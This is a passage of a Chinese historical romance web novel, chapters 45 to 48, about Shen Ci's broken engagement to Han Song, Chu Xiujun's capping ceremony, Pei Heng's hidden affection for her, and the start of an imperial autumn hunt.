但沈瓷其实并不伤心,只是有一些难受,并且也有一些茫然,她本觉得韩嵩是一个不错的人,可没有想到他竟然这般的糊涂。 舅舅一家的确对他恩重,但韩嵩似乎无法处理好这些关系,不管是替表弟还赌债,还是盲目的信任刘氏,都让沈瓷觉得匪夷所思。 沈瓷无法接受这样麻烦的亲戚。 她不过想要简单安稳的生活,但韩嵩有这样的亲戚,根本就无法给她带来什么安稳。 第45章 第45章她才说了要退亲,纳采礼不过…… 忠毅伯府的下人动作很快,不多时就将东西全部装上了车,纳采礼是楚景澄亲自送过去的,力求将这件事情圆满的解决,韩夫人看见这些纳采礼的时候,神色有些茫然,“楚二公子,这是…” “家父家母经过慎重的考虑,觉得彼此之间不合适,所以这亲事就做罢吧。”楚景澄命人将纳采礼放下,礼单尽数归还。 这事儿就算是了结了,好在他们两家还没有交换庚帖,并不麻烦。 韩夫人想要说些什么,却根本不知该说什么才合适,只能眼睁睁的看着楚家人离开,丫鬟和嬷嬷陪在韩夫人的身边,也是神色各异。 “夫人,这…” “将东西收好。”韩夫人眼神有些空,这门亲事她的确还在犹豫当中,庚帖还没有交换,楚家不着急,他们家其实也不着急。 嫂嫂每日在她耳边说的那些话,周氏其实都听得进去,听得多了也就开始犹豫起来,忍不住的开始相互比较,想要看一看到底哪一个最合适。 只是她没有想过楚家竟然这般干脆利落的来退亲。 她甚至都不知发生了什么事情。 丫鬟和嬷嬷谁都不敢说话,周氏也没说话,愣愣的坐在一旁,直到韩嵩回来,韩母才像是找到了主心骨。 可韩嵩的神情却很是茫然。 实则他都不知道自己是怎么从京兆府离开的回到家中看见这些纳采礼时,神情愈发的茫然。 “娘,忠毅伯府的人来过了?” 在京兆府时沈瓷就说过要退亲,韩嵩并没有想到他们会来的那么快,甚至连第二日都等不及,这般迫不及待吗? “是,今日来的。”韩夫人看着自己手中的礼单冷静的告诉儿子,“是楚二公子亲自过来的。” 韩嵩听见这话愣在了当场。 “嵩儿,究竟发生了什么事?”韩夫人直到现在还是懵的,她满眼期翼的看着韩嵩,希望韩嵩能给她一个答复。 韩嵩因为母亲的话又想起了今日看到的那些证据,他从来没有想过舅母居然背着他们做了那么多的事情。 甚至真的做出了那么过分的事情,“昨日沈姑娘并非失约,而是被舅母使计关了起来。”韩嵩说起这件事的时候,猛然看向母亲身边的丫鬟,“你昨日当真没有看见沈姑娘吗?” 那丫鬟还是头一回见到自家温和的公子这般态度,吓得结巴起来,“公,公子…奴婢,奴婢…奴婢当真没有见到沈姑娘。” “你还敢说谎。”韩嵩冷冷的瞪着她,“我再问你最后一次,到底有没有见过沈姑娘?” “奴婢没有,奴婢真的没有。”丫鬟跪在地上瑟瑟发抖,求夫人和公子相信她。 韩母的确信任自己的丫鬟,可对于她而言,最信任的人还是韩嵩,故而她什么都没问,任由韩嵩说话。 丫鬟拒不承认,眼看事情就要陷入僵局,韩嵩在这个时候拿出了一枚耳环。 丫鬟还没有认出来,但韩母已经认出,“这像是你舅母的东西。” “是,这是舅母的东西。”韩嵩甚至都不知道自己是怎么说出这些话的,“这丫鬟被舅母收买,昨日骗了沈姑娘,之后竟还能若无其事的回到我们身边继续扯谎。” 韩嵩将事情的来龙去脉说了一遍,韩夫人骇出了一身的冷汗,她没有想过自己的身边竟然有这样背主的奴才。 “我自认待你不薄,你怎么能做出这样的事?” 丫鬟眼看事情已经败露,跪在地上瑟瑟发抖,求夫人和公子绕过她这一次,她也是逼不得已,家中父母病重恰好这时候舅夫人来找她,让她帮着办一件事,就承诺给她十两银子。 “夫人,公子,我父母病的厉害我实在是没有法子才会做出这样的事情来。” 丫鬟磕的头破血流,她自有她的苦衷,可背主本就是错。 韩嵩只要一看见这个丫鬟就会想起自己先前是怎么信誓旦旦的和沈瓷对峙的,当初有多么的笃定,如今就有多么的恼恨,她明明早已经知晓一切,带着结果来同他对峙。 偏偏他一无所觉,无知无畏,以至于在沈瓷的面前像个跳梁小丑一般。 “我娘心善,对下人从不苛责,倒是养的你们无法无天起来。”韩嵩的脸色极差,今日无论丫鬟说了什么,他都是不会原谅的。 发落了丫鬟之后,韩嵩罕见的安静下来。 韩夫人看着韩嵩眼中有一些担忧,“嵩儿…你可还好?” “母亲放心,孩儿无事。”韩嵩轻声道。 他看着那些纳采礼,想起了当初的期待,只觉得物是人非,他想起今日见到的那个人,她明明站在自己的面前,却离自己那么的遥远。 “只觉得母亲说的不错,我和沈姑娘,当真不是一个世界的人。” 她身边有爱她护她的人,女子退亲应当不是什么容易的事情,要考虑的事情也有很多很多,即便女方有这样的想法,想要付诸于行动也会有重重阻碍。 可忠毅伯府的这些人,并不介意她退不退亲,她才说了要退亲,纳采礼不过几个时辰就送了回来。 大概他们府上原本也不想同他结亲。 “嵩儿?” “无妨。”韩嵩不知道是在安慰自己,还是在安慰母亲,他告诉自己这不是什么大事,也告诉自己他们没有交换庚帖,甚至都算不上定亲。 可心中的难受唯有自己才清楚。 母子俩没有再提这件事情,韩母问起刘氏,从韩嵩的嘴里听说来龙去脉之后,神色变得怪异起来,“你舅母她做出这样的事,若是忠毅伯府追究起来…” “他们已经追究了。”韩嵩冷静说道,若非追究舅母如今又怎么会在大牢里? “那,那这可怎么办?” “当务之急还是先将舅母从大牢里救出来才是。”韩嵩不知道自己是撑着怎样的一口气,他信了刘氏,就必须要信到底。 晚些时候周进来了一趟,韩嵩和舅舅保证一定会将舅母救出来的。 周进这些时日仿佛老了十岁,儿子的事情尚未解决,妻子又出了事。 赌坊的人今日又来了一趟。 这本就是孟坤设的局,赌坊的老板收了他的好处,自然替他分忧解劳,原本答应给周家宽限些时日,如今见韩嵩和忠毅伯府退了亲,便又让人去周家找找麻烦。 周家和韩家的麻烦事一茬接着一茬,就在韩嵩焦头烂额的时候,孟家递来了橄榄枝,孟坤承诺会帮韩嵩解决麻烦,只要韩嵩和孟靖淑定亲。 “孟大人…小生不过一介书生,配不上令嫒。”韩嵩如今毫无功名在身,谈婚论嫁也没有什么底气,先前和忠毅伯府定亲,他考虑的并不周全,但经此一事倒是冷静了许多。 但孟坤却并不介意韩嵩没有功名在身,他原本就看好韩嵩,恰好女儿又喜欢,本是两全其美的一件事。 若非忠毅伯府横生枝节,哪里需要那么麻烦。 如今一切回到正轨,孟坤高兴都来不及。 “贤侄后生可畏,老夫一直都属意你当自家女婿。”孟坤的话说的特别直白,事情到了这个地步,倒也不需要多么的迂回。 孟坤把话说的很漂亮,给足了韩嵩面子。 这一回孟家和韩家的相看非常的顺利,孟靖淑原本就喜欢韩嵩,心心念念都是他,知晓韩嵩被沈瓷退亲,她虽不知是何原因,但依旧毫无条件的站在韩嵩的这一边,“韩公子,你这般好,一定是旁人的错。” 孟靖淑说的笃定,甚至有一些无脑的偏颇。 若是先前韩嵩也许还会觉得不妥,但对于此时的韩嵩而言,却是无比的妥帖。 “小生,承蒙姑娘不弃。” 孟靖淑冲着韩嵩浅浅一笑 ,“爹爹说韩公子日后一定会金榜题名,我心中也是如此想的。” 孟家和韩家的婚事商议的非常快,从下聘到换庚帖,不过是几日的时间,等到消息传到忠毅伯府时,他们的婚期都已经定下了。 楚修筠和楚景澄知晓这事儿之后,只觉得分外恶心。 “果真是个朝三暮四的。” 即便他们已经清楚,那些首饰和胭脂水粉是刘氏自作主张,但韩嵩退亲后不久,就和另一家定亲,实在是太快了些。 众人只觉得一言难尽。 裴氏知晓之后气恼了好几日,她本想给沈瓷找一户好人家,费尽心思多番打听,谁知竟是如此。 到最后还是沈瓷过来安慰舅母,让她不要放在心上,“幸而是定亲之前就发现了,这是不幸中的万幸。” “可是到底送来了纳采礼…”裴氏心中内疚,没有交换庚帖,但已经相看过人家,旁人说着也并不好听。 裴氏如何办得到不放在心上? 但沈瓷却一点儿也不介意,“也许是我们之间没有缘分。” “舅母莫要放在心上,我这些日子想了许久,自从要和韩家定亲就状况百出,波折不断,想来是当真没什么缘分的,若不然肯定能够顺顺利利的。”沈瓷列举了各种各样的对比,裴氏听了之后心中也是释然了些。 只是这件事成了裴氏心中的一根刺,她发誓一定要给沈瓷找一个如意郎君。 沈瓷的亲事没有定下,但忠毅伯府也不是没有喜事的。 原本众人还在犯愁楚修筠的加冠礼要怎么办,结果朝廷的调令就下来了。 那天沈瓷和表姐在库房里选丝线,姊妹俩正选着,就见楚思怡就风风火火的跑了回来,“姐,表姐,祖父和大伯要回来了。” “什么?”楚映梦和沈瓷两个有些惊讶。 “是调令已经出来了吗?” “是啊,我刚从去祖母哪儿,凑巧听见的,说是外祖父先回来,大伯要到明年开春,但这回调令已有,不会轻易变卦的。” “那可真是一件好事。”楚映梦心中很高兴,“这个时候回来还可以给大哥举办加冠礼,也不会错过我的婚礼。” “真真是皆大欢喜。” 姐妹俩想法都是如此,一时间丝线也不去找了,统统跑去楚老夫人的院子,她们过来的时候楚修筠和楚景澄也都已经到了,楚老夫人在和裴氏商议楚修筠加冠礼的事情。 “老大和你公公不能同一时间回来,所以修筠的加冠礼就由你公公回来主持,日子定的有些着急,不过还有十余天。”楚老夫人虽然和裴氏说着话,但一直观察着楚修筠的模样,加冠礼是人生大事,她实在是担心长孙会心里难受。 好在楚修筠并未有此感,只是算了算日子开口说话,“会不会太赶了一些?” “你祖父接到调令的时候就已经往金陵赶,甚至连行礼都来不及收拾,你婶娘这边着人算日子,那边又何尝不是?”楚老夫人知道丈夫的意思,赶得这么着急。 是不愿错过好日子,而十余天之后的日子是年前几个月来最好的。 楚修筠有些发愣,又转而看向裴氏,“婶婶…日子定的这般近,会不会来不及?” “怎么会呢?该准备的我早就已经备下了,只是不知你父母是何打算,这才迟迟不曾相告。”裴氏让楚修筠不要担心这些,并不会耽误什么。 楚修筠听到这里便什么多余的话都没有了,倒是其余几个凑在一块儿嘀嘀咕咕的商议着要送什么贺礼。 沈瓷和楚映梦倒是尚可,无奈楚景澄和楚思怡两个没什么银子,这会儿咬着牙开始思索要怎么办。 实则楚修筠的加冠礼,楚家准备的礼自然丰厚。 偏偏几个小辈感情好,楚老夫人和裴氏乐的看戏,就连楚修筠也是如此,他见弟弟愁眉苦脸的,坏笑着开口,“你们送表哥了什么,也不能厚此薄彼。” 楚景澄:“……” 楚景澄不知楚修筠是在开玩笑,他心中本就有这个打算,于是咬咬牙凑到楚映梦和沈瓷的面前,开始和两人商量,“我前些日子去给阿瓷买信笺的时候又看到一方端砚…” “我们仨一起买吧。” 楚映梦瞅了半天,她还以为二哥能说出什么有骨气的话来,结果还是将她们拖下了水,楚映梦虽早有打算,但并不妨碍她欺负哥哥,“我还以为你要同我们借银子,自己买呢。” 楚景澄:“…也,也成!” 他咬咬牙立刻开了口,随后又道,“但你们不能算我利钱。” “没问题。”楚映梦毫不犹豫的应下。 楚修筠就这么眼睁睁的看着弟弟差点儿将自己给卖了,忍不住的摇头失笑,立刻赶过来阻止,“景澄别听她的,我不需要那么贵的东西。” “大哥,你怎么能断我财路呢?”楚映梦不满的嚷嚷道。 楚修筠摁了摁额头,连利钱都没有能算什么财路?这个今日也糊涂了不成? “不行,表哥有的,大哥也要有。”楚景澄豪迈的让沈瓷去写字据,他即刻就要让楚映梦变成自己的债主。 这里还有个上赶着的。 楚修筠本以为这已经够离谱,没想到还有个生怕把她给落下的,“姐,表姐,二哥,还有我,还有我。” 楚修筠:“……” 沈瓷掩唇轻笑,“好。” 她转头就让丫鬟去寻纸笔来,满足二表哥。 第46章 第46章她不过是关心兄长的时候,顺…… 收到家书的第七日,沈瓷终于在阔别多年后见到了外祖父。 外祖父和自己记忆当中并没有太大的区别,一样的和蔼可亲,见着她的时候也很亲切的唤她的名字,只是岁月不饶人,沈瓷在外祖父的鬓边发现了一些白发。 楚家早早接到消息,楚老夫人今日一早便领着孩子们在堂屋等候,盼了好几个时辰,终于将丈夫给盼了回来。 沈瓷一直听说外祖父是轻车简装的归京,她原本并不知外祖母听了后为何头疼,直至瞧见外祖父只带了一个随从,才知究竟有多么的简。 楚老太爷也因此被老妻好一顿埋怨,“这路途遥远的,怎么就不多带几个随从?” “都一样。”老爷子不以为意的跨入了府门,“这不是想着能早些到家,省的错过修筠的冠礼。” 对于楚老太爷而言,身边跟一个随从还是两个随从根本就没区别,他都是骑马的,多带些随从反而是累赘。 楚老夫人也知丈夫脾气,好在人已经平安的归来,再说这些也没有多大的意思,反倒会伤了彼此和气。 进了府后楚长山坐于高位,等着楚家的小辈一个个过来磕头问安,楚长山微微颔首,让身边的随从递上了红封。 这不年不节的收到红包,几人你看看我我看看你,都不知要不要收才好。 眼看气氛渐渐变得尴尬,裴氏忙笑着打圆场,“祖父给的你们安心收下便是。” 几个孩子这才收了。 他们都有,沈瓷自然也有。 楚长山并没有厚此薄彼,反而因为沈瓷是女儿的遗孤,想要更偏爱些。 但他到底是个有分寸的长辈,并未做的太出格,只是在小辈们行完礼磕完头后将 人唤道跟前来问了几句话。 楚修筠的加冠礼定在了十月十五,距今不过四五日,时间有些紧张,虽说裴氏早早的就已经预备下,但楚老太爷归家,还有不少事宜需要府上长辈过目。 沈瓷几人也跟着裴氏一块儿忙碌着,帮着打下手。 无论是宴请宾客的菜单,用具,或是回礼,几个姑娘都做的极好。 楚长山看着也十分满意,对孙女们那是夸了又夸。 “姑娘们都有长进。”楚老夫人和丈夫一块儿在府上散步,夫妻俩多年未见,却半点不见生分生分,楚长山陪在妻子的身边看着府上的一草一木,只觉心满意足。 但这会儿话赶话的说起了姑娘们,楚长山便问了妻子外孙女的事儿,“阿瓷在府上住的可还好?” 实则这话楚长山一开始就想问,但他许久不在金陵不知府中情况,这些年家书里老妻也从未说起过什么,楚长山担心贸贸然开口追问会寒了二儿媳的心,这才寻了个机会问妻子。 “你自己瞧着呢?”楚老夫人不答反问,示意丈夫自己去看,楚长山也没嫌弃老妻卖关子,反而认认真真的观察起来。 库房外的院子里,几个孩子一块儿在核对当日要用的酒具和器皿,记录的,核对数目的,分工明确。 两个小子忙碌完前院的事儿也过来帮忙,原本三人配合的极好,这会儿多两个人帮忙竟也没打乱她们的进程。 五个人说说笑笑的就将这事儿办完了。 “他们几个感情倒是极好。”楚长山由衷开口。 楚老夫人浅浅笑起,“这都是兰清的功劳,兰清一直都告诉大郎二郎女眷们要忙碌的事情繁琐又复杂,但凡得空,两个小子都会来帮忙。” 楚老夫人并不吝啬对儿媳妇的夸赞,告诉丈夫这些年小儿媳究竟为这个家付出了多少。 裴氏自己就有三个孩子,本就要操不少心,当年老大外放任上,长媳跟着一块儿去了,只是长孙才三岁,就留在了家中。 从奶娃娃开始就是裴氏照顾的。 三年前沈家出了变故,沈瓷接回了金陵也是裴氏照拂。 “修筠是侄儿,阿瓷是外甥女,兰清要教养他们可要花不少心思和心血。” 无论裴兰清怎么做,都会有人挑她的毛病,楚老夫人一直都知道儿媳妇的辛苦,府里大大小小五个孩子,若非尽心尽力的教养,几个孩子的感情又怎会那般的要好? “是,兰清的确辛苦。回头陛下赐下的封赏,你做主给兰清多挑一些。”楚长山是个武人,思维也是直来直去惯了,他念着儿媳妇的好,总不能黏黏糊糊的对着儿媳妇夸赞,那些好听的话谁都会说,倒不如给些实在东西。 楚长山这一次调回金陵就正式致仕,日后便可在府上颐养天年。 楚老夫人笑着应下,夫妻俩一边散步一边瞧着几个孩子,见他们清点完酒具器皿之后又开始看起菜单来,明明核对了好几遍,但几个人都很紧张,生怕这次的加冠礼出什么错,恨不得再多对几遍。 本以为是最耐不住性子的楚景澄先受不住,谁知这回反倒是楚修筠受不住,“菜单已经瞧过好几回,和宾客名单也都一一的看过,不会犯什么忌讳。” “那不成,我们再看一看,万一有什么遗漏怎么办?” “何况这一回的宴会是映梦和阿瓷帮着阿娘一块儿办的,要是出了纰漏可就要闹大笑话了。” 楚思怡拿着菜单又看了一遍,直到眼睛开始发晕,“可是二哥,我都要不认识这些字了。” “别说,我也快要不认得…” 几人都是一样的反应,楚长山看着他们几个忍不住的笑出声来,他问老妻府上是不是每日都这么热闹。 楚老夫人笑着点头,和丈夫说起前些日子的事情来。 楚长山听完哈哈大笑起来,但笑完之后又有些担忧,“他们几个的感情那么好,待秋灵回来,会不会合不来?” 楚长山说的秋灵不是别人,正是楚修筠一母同胞的亲妹妹。 当年楚家老大夫妻俩将孩子留在金陵,没多久便又有了一个孩子,虽然是一母同胞的亲妹妹,可这些年兄妹俩也没见过面。 老大没有调令不得回,而老大夫妻俩身边唯有这么一个孩子,自然也舍不得将孩子送回来,未免有些骄纵,楚长山观察了一番只觉得家中几个孩子都谦虚有礼,和乐融融。 只担心他们几个到时候玩不到一块儿去。 楚老夫人没说话,她也没见过那孩子,同孩子也没多大感情,不过逢年过节的一纸家书问候,不好保证说他们几个一定能够和睦相处,只拿话哄着丈夫,“都是亲兄弟姐妹,时间久了处出感情,自会和睦。” 楚长山默默的点了头。 夫妻俩便没再提这事儿,慢吞吞的散着步往别处去了。 * 转眼就到了十月十五,楚修筠一大早就被人喊了起来,一模一样的流程他先前就已经见识过一回,只是这次轮到自己心里多少有些忐忑。 他正在想入非非的时候楚景澄忽然出现在他的面前,“哥,我陪你一块儿去。” 并无规矩说不能让人陪同,楚景澄硬生生的要挤过来,长辈们便也没拦着,而楚修筠也没舍得拒绝。 他的确紧张,此时因为有楚景澄的陪同,那份忐忑的心也稍稍的好了些, 他安慰自己,加冠礼尚未完成,他还可以依赖弟弟。 身为忠毅伯府的长孙,楚修筠的加冠礼同样很隆重,裴珩今日特意告了假过来,和沈瓷几人站在一处,见证着楚修筠人生中极其重要的日子。 “表哥,你当日行冠礼,心中可有忐忑?” —————— 剩下一部分在作话里。 第47章 第47章她好似并不喜欢牡丹。…… 府上的宴会还在继续,醉酒的两人也已经安顿好,而沈瓷却开始反思自己今日是否太过冲动,忠毅伯府和永宁侯府是姻亲关系,裴家兄妹和楚家兄妹沾亲带故,她们互相关心实属正常。 但她若关心,就显得耐人寻味。 这也是当日裴珩为何会让她隐瞒的根本原因。 好在方才二表哥并未多想,也没有追问,沈瓷见没有人注意到这个事,才算是松了一口气,她一边告诉着自己不要同裴珩有太多牵扯,一边又惦记着要道谢。 就在这时候她又想起了先前那个约定,想起了自己先前那隐隐期待的心情,她房里还有不少的游记是裴世子送给她的。 沈瓷先前并未觉得有什么问题,可这会儿却觉得很有问题。 她罕见的陷入了迷茫当中… “阿瓷,你怎么在这里发呆?” 楚映梦的声音拉回了沈瓷的思绪,她这才反应过来自己方才在发呆,想起自己刚才思索的事儿,沈瓷只觉得头疼,瞧见表姐后竟下意识的开始扯谎,“没什么事…就是有点儿热。” 今日府上人来人往比往常热闹不少,楚映梦也没怀疑沈瓷的话,只是伸手探了探她的额头,“若是不舒服就去歇一歇,母亲在那头陪着夫人说话,我们也不用在这儿待着,不如去找裴姝思怡说话?” 沈瓷顺着表姐的话点了头,找到一旁坐着的裴姝和楚思怡,几人也没往后院去,就在家中找了处人少的长廊坐下。 实则裴姝早就想过来找她们三人说话,裴姝自从知晓沈瓷要定亲,整个心就悬着,为此还在家中哭过一场,她也曾不顾一切的问过兄长,但哥哥并未给她什么很明确的答复。 她唯有在家中等着,等来等去却等到了沈瓷退亲。 这也就罢了,没过几日竟然传出韩家和孟家定了亲。 裴姝想来姑姑家一趟,可恰好赶上楚修筠的加冠礼,忠毅伯府忙碌非常,她也不好过来添乱,这才拖到今日,此番一见面就迫不及待的追问了出来。 “沈姐姐,那韩嵩如此背信弃义,可是在先前就和那孟四有首尾?” 这件事儿其实有些复杂,定亲定不成,裴世子可在里头出了不少的力,不仅解决了麻烦,还将韩家和孟家生生的帮在一块,其中还牵扯着韩嵩的舅舅一家,三家利益纠葛,指不定日后会变成怎样。 但这些事裴珩自然不会告诉裴姝。 妹妹问起时他也只当不知,还同她说得空帮着问一问楚修筠知不知晓。 “不大清楚,也许是,也许不是。”沈瓷其实挺久没想起这事儿了,若非今日裴姝提及,她都要将此事给忘记,韩嵩并非良人,她自然不会多想。 “那沈姐姐,你可还好?” “我没什么事,就是退亲罢了,也不是头一回。”沈瓷语气淡淡,她 不大在意,可身边几个却很在意。 气呼呼的让沈瓷不准再说。 女子退亲又不是什么好事情。 她们巴不得人人都忘记这些事,偏偏沈瓷自己记得比谁都清楚。 沈瓷软软的笑了起来。 几人担心沈瓷的婚事,其实沈瓷自己心中也很忐忑,退了两次亲,虽然两回都不是她的缘故,但世人对女子大多苛责,明白真相的知晓是对方的缘故。 可知晓真相的又能有几人? 韩嵩和孟家定亲之后,大多都觉得是她没福,反而称赞孟家和韩家金玉良缘。 饶是沈瓷深知原委,心中也不可避免会受影响。 只是表姐和表妹都在乎她,一直安慰她,让她觉得这不是什么天大的事,才能够坦然面对。 “姑姑一定会给沈姐姐找一个如意郎君的。”裴姝认真说道。 楚映梦和楚思怡也纷纷附和,沈瓷的心中却很平静,并未有过多的期待,几人也看出沈瓷并没有太多想谈论的心思,就将此事撂在一边。 只是提及亲事,众人又不可避免的谈论到楚修筠和裴珩,楚映梦和裴姝心中都一些念头,故而存了心的要试探。 姐妹俩心思各异,但说出的话却是一样的意思。 “舅母是不是想着要给表哥说亲了?” “修筠哥哥行过冠礼之后,是不是也要开始说亲了?” 姐妹俩对视一眼,都忍不住的咳嗽起来,沈瓷和楚映梦压根不知二人究竟在尴尬什么。 待二人都冷静下来后,楚映梦才回答起了这个问题,“我娘只是大哥的婶娘,就算有心想要替大哥打算,也不能越过大伯和大伯母去,这定亲一事还是要和大伯他们商议,好在大伯父过了年就会回京,在那之后应当会定下。” 楚映梦单手撑着下巴,猜测着长辈们的心思。 其实楚修筠这个年纪,也早就应该要定亲,但楚修筠的父亲一直不在金陵,虽说孩子养在裴氏的膝下,但终身大事她如何能够越过人家父母做主? 就算心中有极好的人选,也不能直接定下,只能慢慢的商议。 一些事情在家书里面也商量不清楚,故而一拖再拖。 实则大哥会不会定亲的她们不大清楚,但是大姐姐要定亲的事情她们还是知道的,大伯母对这件事很上心,时常在家书中提及,就连他们几个小辈也有所耳闻。 但这些事楚映梦没提,毕竟裴姝和他们家的大姐姐并不熟悉,“舅母又是如何打算的?” “阿娘最近又在同我说要给哥哥定亲的事情。”裴姝有些无奈的开口,“这话怎么就偏偏过来同我说,依我看阿娘应该直接去问哥哥才对,毕竟谁能做得了哥哥的主呀。” 裴姝此语一出,其余三人全部都看了过来。 三人神色各异。 一个纯粹好奇,一个抓心挠肺,还有一个只觉得莫名,不知自己为何会关心这些。 楚映梦又问起舅母可有什么人选。 裴姝直白的摇头,“母亲只是提了要给哥哥定亲,倒是没说有什么人选。” 裴姝其实备受煎熬,她猜测到了哥哥的心思,偏偏不能告诉母亲,只能一点点的关注着,希望母亲可以打消给哥哥定亲的念头。 也希望… 哥哥可以得偿所愿。 “那表哥心里是怎么想的?”楚映梦问的认真,裴姝并不知晓表姐这般积极的真正原因,只当表姐好奇,况且她也实在需要讲这些事说一说,省的哥哥没事儿,她先给憋坏。 “我也不大清楚哥哥的心思,他从前就忙,如今入仕后就愈发的忙碌,我经常都见不着他人,母亲先前倒是提过要给哥哥定亲,但哥哥却说并不着急。”裴姝说的小声。 实则也就是这些话才让裴姝猜出了兄长心思,毕竟哥哥从前可不会拒绝,只会平平淡淡的说任凭母亲选择,话的确说的漂亮,但是画像上的人他一个都认不全。 前几日提及的人,过几日就忘得干干净净。 母亲说起时他一脸的平静,母亲以为他不喜欢,但裴姝知道,哥哥就是忘了。 可现在情况全然不同,如今提及亲事的态度就是拒绝。 “舅母不会答应的吧…”楚映梦忍不住问道。 “哥哥的亲事,阿娘也不能强硬决定的。”裴姝对这一点倒是极有信心的,只是她不知道这件事到最后究竟会演变成什么模样。 裴姝偷偷的看了沈瓷一眼,又变的心事重重起来,她心里怀揣着一个极大的秘密,很想说出来,却又暗暗的告诫自己什么都不能提。 在一切都还未曾明朗之前,她只想默默的守护着所有人。 无论是自己的兄长,还是沈姐姐,都一样。 * 姊妹几人的谈话随着宴会的结束而停止,沈瓷和表姐思怡一块儿陪着舅母送别宾客,裴姝和裴珩留到了最后,两家关系虽好,但裴氏依旧礼数周全。 送兄妹二人出门。 裴珩歇了一个时辰,酒意已经消散大半,恢复了从前冷静自持的模样,他虽然明白沈瓷不过是顺带着关心他,但心里依旧承了情。 裴姝和几人依依话别,兄妹俩并不同车,裴姝不好让哥哥久等,匆匆说了几句话就要走,反倒是裴珩耐心十足,问她可还有什么话要说,本也就不差这一时半刻的。 裴姝轻轻摇头,“日后还有机会的。” 若是要说话,她自然有说不完的话。 裴珩也没有多言,而后二人分别上了马车一同回府。 裴姝其实也没有想到她在姑姑家提及的事情,在家中竟真的上演,兄妹俩回到家中后一起去正院给母亲请安,永宁候夫人就说起要给裴珩定亲的事情。 裴珩今日在姑母府上喝了不少的酒,虽然酒意已经散了大半,可到底是有些难受,这会子听母亲提及定亲一事,自然是不耐的。 只是裴世子理智尚存,知晓不耐烦没有任何意义,反而是会让母亲生疑,故而认真的和母亲谈了一次,说自己暂时不考虑这些事。 “常言道先成家后立业,你先前说科举重要不愿分心,母亲也依了你,如今你已进了翰林院,这立业也算是成了,也到了该成家的时候。”永宁候夫人苦口婆心的劝着。 但裴珩却远远不觉得这算什么立业。 “不过刚刚进了翰林院,尚未做出什么成绩来。”裴珩说着话并不是自谦,而是真的觉得自己没有什么拿得出手的成绩,对此裴世子很是不满,他甚至想着若是自己如今位高权重,想来应当是没什么人会来对他的婚事指指点点。 “珩儿,娘知你对自己要求甚高,但你也到了该成家的时候,若你暂时不愿成亲,这亲事总要先定下。”永宁候夫人耐心的劝着。 但裴珩总有许许多多的理由反驳,一会儿说自己不过只是翰林院的一个小小官员,一会儿又说自己不愿靠着祖辈庇佑,想要做出一番成绩再来谈婚论嫁。 说来说起只有一个意思,他根本不愿成亲,甚至都不愿定亲。 说到后来永宁候夫人只觉得头疼不已,她甚至都开始猜测裴珩是不是有了心上人,但看着他这模样也不像。 “罢了罢了,这些事情之后再提。”永宁候夫人到底妥协,转而同裴珩说起今岁秋猎的事情,“秋猎的事情准备的如何?” “时间尚且宽裕,并没有太过忙碌。”翰林院隶属礼部,礼部在准备各个祭祀仪典,翰林院也一样忙碌,裴珩自然不能例外,只是这些公务对于他而言并不是什么难事。 最让他头疼的其实另有其事。 沈瓷这回没能定亲,可她总不能一直都不定亲,他到底还要想一想法子才是,好在秋猎就要开始,楚家的小辈都会参加,到时候沈瓷也会参加。 裴珩如今也没能有别的心思,只想着能多见一见她。 他应付完母亲后回到住处,翻看起了桌上的公文,虽然告了假,但是该处理的事情依旧不能落下。 裴珩,忙碌着,而在忠毅伯府的几 人也是累的够呛。 只是这会儿谁都没有去歇着,全部聚集在楚修筠的院子一块儿看着他的贺礼,这些贺礼都被裴氏送来给了楚修筠。 让他自己做主。 楚修筠倒也不推辞,带着弟弟妹妹们一块儿看起来,想着他们喜欢的能用上的就留下。 若是用不上的,就送到府上的库房。 这会子几人兴致勃勃的。 但拆到永宁侯府的贺礼时,楚修筠便知晓这不单单是给他一个人的,同他们当日送去的时候一样,一个大盒子里头有不少的小盒子,上头都写着名字。 楚修筠将这盒子递给其余几人,楚思怡迫不及待的打开,发现里头是一支漂亮的簪子,不同于前两次的牡丹,这一次是其他的样式,楚思怡看不出来是什么,但从她爱不释手的模样就能够看出来楚三姑娘这一回很满意。 就连沈瓷和楚映梦也都觉得很惊喜。 二人这会儿的想法出奇的一致,幸而不是什么牡丹了,若还是什么牡丹,他们实在是没法接。 漂亮虽然漂亮,可每回收到一样的,总让人无奈。 而裴珩这一回没有选择牡丹的原因也挺简单。 因为他发现,沈瓷似乎并不喜欢牡丹,他送过两回均是精挑细选的,即便裴姝并不喜欢牡丹,她也觉得很精致。 可沈瓷并非如此,除了那日来府上的时候戴过一回,之后每一次见到她,她都没有戴过一次,楚修筠和楚景澄先前也送过不少的首饰。 大多都是兄弟俩央求他一块儿去挑选的,拜强大的记忆力所赐,裴珩清楚的记得那些款式。 但沈瓷戴的也极少。 故而裴珩有这样的猜测。 原本还以为是自己猜错,可直到秋猎那日裴珩见到新买的簪子出现在她的发间,就明白了一件事。 沈姑娘不喜欢牡丹,她喜欢漂亮的。 第48章 第48章秋猎 陛下每年都会带上信任的臣子去行宫参加秋猎,忠毅伯府自然也是在信任的人员当中,而作为官员家眷当然也可以随行。 沈瓷原先因为要守孝很少出门,但今年裴氏却不让沈瓷一人待在家中,让她无论如何要出去走一走,好好的热闹一番。 沈瓷知晓舅母的好意,便和表姐表妹一块儿出门。 到了行宫之后沈瓷发现表姐今日有些心神不宁,往年她也不是没来过,但这回却非常的激动。 沈瓷看着表姐这般模样,忍不住的开始猜测起来,“季小将军也来了?” 楚思怡点点头,“今年陛下为了让秋猎更热闹,还说要他们比试。” 猎场上的比试自然也很简单粗暴,谁猎到的猎物最多,就获胜。 季小将军原本不在金陵,这样的盛会同他其实没多大关系,只是今年凑巧,楚思怡小声的和表姐咬耳朵,说未来姐夫这一回,是铆足了劲的要赢的,还特意来和姐姐提过。 季小将军有这样的心思也不难猜,谁不想在心上人面展现出最好的一面? “阿瓷,思怡,我们出去看看。”楚映梦不想在帐篷里待着,只想出去外头看看情况,沈瓷和楚思怡当然也不扫兴,陪着楚映梦出去。 她们过来的时候礼部的官员已经开始念祭文,下首还站着不少官员,沈瓷她们躲在暗处,瞧见了不少的熟人,不仅找到了舅舅,还看见了裴珩。 他站在人群里,那么多的官员,明明应当是不起眼的,但沈瓷却偏偏一眼看过去就看的清楚,她很快收回了视线,没有再去看。 礼部念完祭文之后,由陛下亲自点燃了信烟,这一场秋猎的比试就正式开始。 楚映梦拉着两个妹妹去找裴姝,等找到人之后她们几个就高高兴兴的去看热闹。 “我听哥哥说一共是两个时辰,看谁的猎物多而取胜。”裴姝很快带来了新的消息,狩猎的弓箭上头都有标识,并不会有错认的情况。 但沈瓷却好奇若是看猎物的数量,要是有人猎到了熊或是老虎一类的猎物又要怎么算? 